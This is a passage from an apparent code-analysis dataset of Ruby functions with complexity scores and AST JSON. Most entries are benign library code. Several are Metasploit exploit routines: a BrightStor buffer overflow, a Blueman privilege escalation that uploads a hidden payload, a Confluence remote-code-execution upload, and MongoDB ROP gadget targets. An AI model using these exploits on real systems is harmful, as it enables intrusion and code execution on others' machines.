\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"agix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-1892\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"91632\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"58695\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux - mongod 2.2.3 - 32bits\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mmap\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[135722856]},{\"type\":\"int\",\"children\":[140930311]},{\"type\":\"int\",\"children\":[825454592]},{\"type\":\"int\",\"children\":[8192]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[49]},{\"type\":\"int\",\"children\":[4294967295]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[135718088]},{\"type\":\"int\",\"children\":[825454592]},{\"type\":\"int\",\"children\":[825454592]},{\"type\":\"int\",\"children\":[202047488]},{\"type\":\"int\",\"children\":[8192]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ret\"]},{\"type\":\"int\",\"children\":[134568560]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget1\"]},{\"type\":\"int\",\"children\":[137814532]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget2\"]},{\"type\":\"int\",\"children\":[138768728]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget3\"]},{\"type\":\"int\",\"children\":[137697318]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget4\"]},{\"type\":\"int\",\"children\":[134568556]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget5\"]},{\"type\":\"int\",\"children\":[138768728]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-03-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[27017]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Database to use\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"COLLECTION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Collection to use (it must to exist). Better to let empty\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Login to use\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to use\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"016f576a-661b-4722-a49a-bbb5f6c57250"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/method_call_without_args_parentheses.rb","start_line":59,"raw_source":"def ineligible_node?(node)\n node.camel_case_method? || node.implicit_call? || node.prefix_not?\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ineligible_node?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"camel_case_method?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"implicit_call?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"prefix_not?\"]}]}]}","id":"b1725de7-f6df-43c7-98d0-2c59d0e63014"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb","start_line":69,"raw_source":"def exploit\n connect\n\n data = rand_text_alpha_upper(20080) + [target.ret].pack('V')\n data << payload.encoded + rand_text_alpha_upper(25000 - 20084 - payload.encoded.length)\n\n sploit = \"0000025000\"\t# Command Length Field\n sploit << \"rxsSetDataGrowthScheduleAndFilter\"\t# RPC Command\n sploit << \"~~\"\t# Constant Argument Delimiter\n sploit << data\n\n print_status(\"Trying target #{target.name}...\")\n sock.put(sploit)\n\n handler\n disconnect\n end","complexity_score":37.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[20080]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[25000]},\"-\",{\"type\":\"int\",\"children\":[20084]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"str\",\"children\":[\"0000025000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"rxsSetDataGrowthScheduleAndFilter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"~~\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"51742070-300e-4dec-9db0-02c312d954b8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet_helper.rb","start_line":60,"raw_source":"def create_error_response(error:, message:, code:)\n error_response = {\n code: code,\n message: \"#{message} #{error.message}\"\n }\n set_json_error_response(response: error_response, code: code)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_error_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"error\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_json_error_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"error_response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]}]}","id":"3d219c74-cd7a-478d-8885-5db5c0660d4d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb","start_line":9,"raw_source":"def events(opts)\n path = get_path_select(opts, EVENT_API_PATH)\n json_to_mdm_object(self.get_data(path, nil, opts), EVENT_MDM_CLASS)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"get_path_select\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"const\",\"children\":[null,\"EVENT_API_PATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_data\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"const\",\"children\":[null,\"EVENT_MDM_CLASS\"]}]}]}]}","id":"0bd45180-7b10-450a-ac08-2e62704ac8b1"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb","start_line":133,"raw_source":"def exploit\n if !datastore['ForceExploit'] && is_root?\n fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')\n end\n\n unless writable? base_dir\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\n end\n\n payload_name = \".#{rand_text_alphanumeric 10..15}\"\n payload_path = \"#{base_dir}/#{payload_name}\"\n upload_and_chmodx payload_path, generate_payload_exe\n\n print_status 'Executing payload...'\n res = execute_python \"os.system(\\\"#{payload_path}&\\\")\"\n vprint_line res\n\n unless res.include? 'eval(\"nc.set_dhcp_handler(%s)\" % dhcp_handler)'\n fail_with Failure::NotVulnerable, 'The target is not vulnerable'\n end\n\n if res.include? 'SyntaxError:'\n fail_with Failure::Unknown, 'Payload execution failed due to syntax error'\n end\n end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ForceExploit\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"is_root?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session already has root privileges. Set ForceExploit to override.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\" is not writable\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[15]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_and_chmodx\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute_python\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"os.system(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\"&\\\")\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"eval(\\\"nc.set_dhcp_handler(%s)\\\" % dhcp_handler)\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"The target is not vulnerable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"SyntaxError:\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Payload execution failed due to syntax error\"]}]},null]}]}]}","id":"38a9a1d9-3a44-4aa9-9681-77e0510ae842"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_rce_cve_2024_21683.rb","start_line":183,"raw_source":"def upload_payload(shell)\n # Grab a valid macro dashboard CSRF token.\n csrf_macro = get_csrf('/admin/plugins/newcode/configure.action', 'macro')\n\n # Initialize a multipart form.\n payload_form = Rex::MIME::Message.new\n\n # ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.\n payload_string = \"new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()\"\n\n # Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string.\n payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name=\"atl_token\"')\n payload_form.add_part(payload_string, 'text/plain', 'binary', \"form-data; name=\\\"languageFile\\\"; filename=\\\"#{rand_text_hex(10)}\\\"\")\n payload_form.add_part(rand_text_hex(10), 'text/plain', 'binary', 'form-data; name=\"newLanguageName\"')\n\n vprint_status(\"Crafted ProcessBuilder payload string: #{payload_string}\")\n vprint_status('Sending POST request to trigger code execution')\n\n # POST the multipart form for code execution. A neutral error will be returned in the web response, which we can ignore.\n res_upload = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins', 'newcode', 'addlanguage.action'),\n 'keep_cookies' => 'true',\n 'ctype' => \"multipart/form-data; boundary=#{payload_form.bound}\",\n 'data' => payload_form.to_s\n )\n\n # Connection failure, no response, or malformed response.\n print_error('Target did not respond as expected during code execution attempt') unless res_upload\n\n # If the response to the multipart request does not return a 200.\n print_error('The application returned a non-200 response during code execution attempt') unless res_upload.code == 200\n end","complexity_score":32.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shell\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"csrf_macro\",{\"type\":\"send\",\"children\":[null,\"get_csrf\",{\"type\":\"str\",\"children\":[\"/admin/plugins/newcode/configure.action\"]},{\"type\":\"str\",\"children\":[\"macro\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"new java.lang.ProcessBuilder(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shell\"]}]},{\"type\":\"str\",\"children\":[\", new java.lang.String(java.util.Base64.getDecoder().decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\"'))).start()\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"csrf_macro\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"atl_token\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"payload_string\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"languageFile\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_hex\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"add_part\",{\"type\":\"send\",\"children\":[null,\"rand_text_hex\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"newLanguageName\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Crafted ProcessBuilder payload string: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_string\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending POST request to trigger code execution\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res_upload\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"plugins\"]},{\"type\":\"str\",\"children\":[\"newcode\"]},{\"type\":\"str\",\"children\":[\"addlanguage.action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_upload\"]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target did not respond as expected during code execution attempt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_upload\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The application returned a non-200 response during code execution attempt\"]}]}]}]}]}","id":"249e86da-b8e5-4d86-91fc-39f20e6bf26f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/nuget/symbol.rb","start_line":40,"raw_source":"def self.find_by_signature_and_file_and_checksum(signature, file_name, checksums)\n with_signature(signature)\n .with_file_name(file_name)\n .with_file_sha256(checksums)\n .where.not(orphan.where_values_hash)\n .take\n end","complexity_score":12.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_by_signature_and_file_and_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signature\"]},{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"checksums\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_signature\",{\"type\":\"lvar\",\"children\":[\"signature\"]}]},\"with_file_name\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},\"with_file_sha256\",{\"type\":\"lvar\",\"children\":[\"checksums\"]}]},\"where\"]},\"not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"orphan\"]},\"where_values_hash\"]}]},\"take\"]}]}","id":"9738d9d9-0a49-4f6c-b02d-812cde219e4d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/system.rb","start_line":322,"raw_source":"def protected_symlinks?\n read_file('/proc/sys/fs/protected_symlinks').to_s.strip.eql? '1'\n rescue StandardError\n raise 'Could not determine protected_symlinks status'\n end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"protected_symlinks?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/proc/sys/fs/protected_symlinks\"]}]},\"to_s\"]},\"strip\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not determine protected_symlinks status\"]}]}]},null]}]}","id":"7983d992-7754-4f02-8983-65f2800948da"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/integrations_helper.rb","start_line":348,"raw_source":"def fields_for_integration(integration)\n Integrations::FieldSerializer.new(integration: integration).represent(integration.form_fields).to_json\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fields_for_integration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"FieldSerializer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration\"]},{\"type\":\"lvar\",\"children\":[\"integration\"]}]}]}]},\"represent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"form_fields\"]}]},\"to_json\"]}]}","id":"192ed048-ced7-4640-b6e4-0070811ecfc2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/github_controller.rb","start_line":218,"raw_source":"def verify_import_enabled\n render_404 unless import_enabled?\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_import_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"3e17e22b-4e03-49e9-b394-0946d124f3ea"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/time_with_zone.rb","start_line":465,"raw_source":"def to_f\n utc.to_f\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_f\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"utc\"]},\"to_f\"]}]}","id":"bc1b6383-86e8-4941-8064-c16bca2c73c4"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/show_component.rb","start_line":66,"raw_source":"def render_sidebar_turbo_frame(*ids, src: nil, target: nil, **attributes)\n turbo_frame_tag(*ids, src:, target:, **attributes) do\n render_skeleton\n end\n 